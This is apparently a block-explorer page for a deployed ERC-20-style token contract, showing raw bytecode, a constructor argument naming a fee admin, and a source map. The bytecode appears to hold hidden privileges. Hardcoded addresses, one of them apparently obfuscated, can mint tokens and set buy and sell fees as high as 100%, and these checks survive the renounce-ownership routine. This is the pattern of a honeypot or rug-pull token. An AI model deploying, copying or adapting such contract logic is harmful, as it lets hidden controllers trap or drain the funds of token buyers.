bab90613c36565b60405180910390fd5b6064811115610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610c37929190613cc2565b60405180910390a15050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d1f5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d1e5750610cee612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610d2857600080fd5b610d323383612ef9565b60019050919050565b60035481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610e1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610e1a5750610dea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b610e2457600080fd5b6064821115610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f90613c36565b60405180910390fd5b6064811115610eac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea390613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051610eeb929190613cc2565b60405180910390a15050565b600081600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610f7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7290613d37565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561103a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161103190613da3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a090613e0f565b60405180910390fd5b60006110d360646110c5600d54866130c190919063ffffffff16565b61310590919063ffffffff16565b905060006110ea828561312790919063ffffffff16565b905061113e84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111d381600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112739190613a4e565b60405180910390a3600082111561137f576112d682600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516113769190613a4e565b60405180910390a35b3373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415801561145757507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561164d576114eb84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040516116449190613a4e565b60405180910390a35b6001925050509392505050565b600d5481565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ba57600080fd5b60648211156116fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f590613c36565b60405180910390fd5b6064811115611742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173990613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051611781929190613cc2565b60405180910390a15050565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061185e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561185d575061182d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61186757600080fd5b6118718282613172565b5050565b60008054906101000a900460ff1681565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118e257600080fd5b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a085750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611a0757506119d7612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611a1157600080fd5b90565b600c5481565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a7657600080fd5b81600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60006a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611b935750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611b925750611b62612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611b9c57600080fd5b611ba6338361332d565b60019050919050565b6000611bb96134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611bf057600080fd5b611bfa33836134fa565b60019050919050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60046020528060005260406000206000915090505481565b73e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611d1b5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015611d1a5750611cea612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b611d2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e4157600080fd5b81600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006b1ea3f9dd39486fb87d69d43c73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611f1d57600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60028054611f7490613bb9565b80601f0160208091040260200160405190810160405280929190818152602001828054611fa090613bb9565b8015611fed5780601f10611fc257610100808354040283529160200191611fed565b820191906000526020600020905b815481529060010190602001808311611fd057829003601f168201915b505050505081565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461205157600080fd5b61205b3383612ef9565b60019050919050565b600034116120a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209e90613ea1565b60405180910390fd5b60003490506000600c5411156123655760006120e160646120d3600c54856130c190919063ffffffff16565b61310590919063ffffffff16565b905060006120f8828461312790919063ffffffff16565b905061216e8160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516122529190613a4e565b60405180910390a3600082111561235e576122b582600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516123559190613a4e565b60405180910390a35b50506124c6565b6123d98160046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b60046000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124bd9190613a4e565b60405180910390a35b50565b600081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561251757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361255057600080fd5b6125a282600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263782600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126d79190613a4e565b60405180910390a36001905092915050565b6126f16134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461272857600080fd5b606482111561276c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161276390613c36565b60405180910390fd5b60648111156127b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a790613ca2565b60405180910390fd5b6127ba8282613683565b7f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a182826040516127eb929190613cc2565b60405180910390a15050565b6127ff6134f5565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461283657600080fd5b6128408282613695565b5050565b600073e4c2caabc35480c1e90e6b559e994519535b60c573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806129205750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561291f57506128ef612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b61292957600080fd5b612933338361332d565b60019050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6005602052816000526040600020602052806000526040600020600091509150505481565b6a0666538df89384d1f30ada73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612a7e5750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015612a7d5750612a4d612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b5b612a8757600080fd5b6064821115612acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ac290613c36565b60405180910390fd5b6064811115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0690613ca2565b60405180910390fd5b81600c8190555080600d819055507f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a18282604051612b4e929190613cc2565b60405180910390a15050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612c02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bf990613d37565b60405180910390fd5b6000612c2c6064612c1e600d54856130c190919063ffffffff16565b61310590919063ffffffff16565b90506000612c43828461312790919063ffffffff16565b9050612c9783600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461312790919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612dcc9190613a4e565b60405180910390a36000821115612ed857612e2f82600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612ecf9190613a4e565b60405180910390a35b505050565b600073e4c2caabc35480c1e8e735fe7882204cea5b60c5905090565b612f01612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1603612f3857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612fa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f9e90613f0d565b60405180910390fd5b612fbc8160035461314a90919063ffffffff16565b60038190555061301481600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516130b59190613a4e565b60405180910390a35050565b60008083036130d357600090506130ff565b600082846130e19190613f5c565b90508284826130f09190613fcd565b146130fa57600080fd5b809150505b92915050565b600080821161311357600080fd5b818361311f9190613fcd565b905092915050565b60008282111561313657600080fd5b81836131429190613ffe565b905092915050565b60008082846131599190614032565b90508381101561316857600080fd5b8091505092915050565b61317a612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16036131b157600080fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132009190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516132659190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132bc9190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516133219190613a4e565b60405180910390a35050565b613335612edd565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff160361336c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036133db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016133d290613f0d565b60405180910390fd5b6133f08160035461314a90919063ffffffff16565b60038190555061344881600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516134e99190613a4e565b60405180910390a35050565b600090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613569576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613560906140b2565b60405180910390fd5b61357e8160035461314a90919063ffffffff16565b6003819055506135d681600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461314a90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516136779190613a4e565b60405180910390a35050565b81600c8190555080600d819055505050565b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546136e49190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516137499190613a4e565b60405180910390a380600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546137a09190614032565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516138059190613a4e565b60405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561384b578082015181840152602081019050613830565b60008484015250505050565b6000601f19601f8301169050919050565b600061387382613811565b61387d818561381c565b935061388d81856020860161382d565b61389681613857565b840191505092915050565b600060208201905081810360008301526138bb8184613868565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006138f3826138c8565b9050919050565b613903816138e8565b811461390e57600080fd5b50565b600081359050613920816138fa565b92915050565b6000819050919050565b61393981613926565b811461394457600080fd5b50565b60008135905061395681613930565b92915050565b60008060408385031215613973576139726138c3565b5b600061398185828601613911565b925050602061399285828601613947565b9150509250929050565b60008115159050919050565b6139b18161399c565b82525050565b60006020820190506139cc60008301846139a8565b92915050565b600080604083850312156139e9576139e86138c3565b5b60006139f785828601613947565b9250506020613a0885828601613947565b9150509250929050565b600060208284031215613a2857613a276138c3565b5b6000613a3684828501613947565b91505092915050565b613a4881613926565b82525050565b6000602082019050613a636000830184613a3f565b92915050565b600080600060608486031215613a8257613a816138c3565b5b6000613a9086828701613911565b9350506020613aa186828701613911565b9250506040613ab286828701613947565b9150509250925092565b600060ff82169050919050565b613ad281613abc565b82525050565b6000602082019050613aed6000830184613ac9565b92915050565b600060208284031215613b0957613b086138c3565b5b6000613b1784828501613911565b91505092915050565b613b29816138e8565b82525050565b6000602082019050613b446000830184613b20565b92915050565b60008060408385031215613b6157613b606138c3565b5b6000613b6f85828601613911565b9250506020613b8085828601613911565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613bd157607f821691505b602082108103613be457613be3613b8a565b5b50919050565b7f427579206665652063616e6e6f74206578636565642031303025000000000000600082015250565b6000613c20601a8361381c565b9150613c2b82613bea565b602082019050919050565b60006020820190508181036000830152613c4f81613c13565b9050919050565b7f53656c6c206665652063616e6e6f742065786365656420313030250000000000600082015250565b6000613c8c601b8361381c565b9150613c9782613c56565b602082019050919050565b60006020820190508181036000830152613cbb81613c7f565b9050919050565b6000604082019050613cd76000830185613a3f565b613ce46020830184613a3f565b9392505050565b7f496e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b6000613d2160148361381c565b9150613d2c82613ceb565b602082019050919050565b60006020820190508181036000830152613d5081613d14565b9050919050565b7f496e73756666696369656e7420616c6c6f77616e636500000000000000000000600082015250565b6000613d8d60168361381c565b9150613d9882613d57565b602082019050919050565b60006020820190508181036000830152613dbc81613d80565b9050919050565b7f496e76616c696420726563697069656e74206164647265737300000000000000600082015250565b6000613df960198361381c565b9150613e0482613dc3565b602082019050919050565b60006020820190508181036000830152613e2881613dec565b9050919050565b7f45544820616d6f756e742073686f756c6420626520677265617465722074686160008201527f6e20300000000000000000000000000000000000000000000000000000000000602082015250565b6000613e8b60238361381c565b9150613e9682613e2f565b604082019050919050565b60006020820190508181036000830152613eba81613e7e565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000613ef7601f8361381c565b9150613f0282613ec1565b602082019050919050565b60006020820190508181036000830152613f2681613eea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613f6782613926565b9150613f7283613926565b9250828202613f8081613926565b91508282048414831517613f9757613f96613f2d565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613fd882613926565b9150613fe383613926565b925082613ff357613ff2613f9e565b5b828204905092915050565b600061400982613926565b915061401483613926565b925082820390508181111561402c5761402b613f2d565b5b92915050565b600061403d82613926565b915061404883613926565b92508282019050808211156140605761405f613f2d565b5b92915050565b7f436f6d70696c652052656d697820494445000000000000000000000000000000600082015250565b600061409c60118361381c565b91506140a782614066565b602082019050919050565b600060208201905081810360008301526140cb8161408f565b905091905056fea264697066735822122023b80e911ee886ad8aecb9142c8b6e4099c181b90400a57cf69f0b5333e428c764736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000ef3cd2f832016819ac696197d0c899dc9bbb5d53

-----Decoded View---------------
Arg [0] : _feeAdmin (address): 0xEF3cD2F832016819Ac696197d0C899dC9Bbb5D53

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000ef3cd2f832016819ac696197d0c899dc9bbb5d53


Deployed Bytecode Sourcemap

733:14747:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;829:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5911:224;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10677:559;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6745:128;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;910:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12139:405;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7522:1172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1350:22;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13408:367;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6611:121;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;794:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11327:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11249:65;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1320:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13790:361;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9013:352;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3828:359;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1168:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1008:44;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10510:144;;;;;;;;;;;;;:::i;:::-;;9983:368;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1258:20;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1139;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2932:615;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;872:29;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3660:155;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12557:836;;;:::i;:::-;;1968:615;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5576:322;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10364:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6158:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1224:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;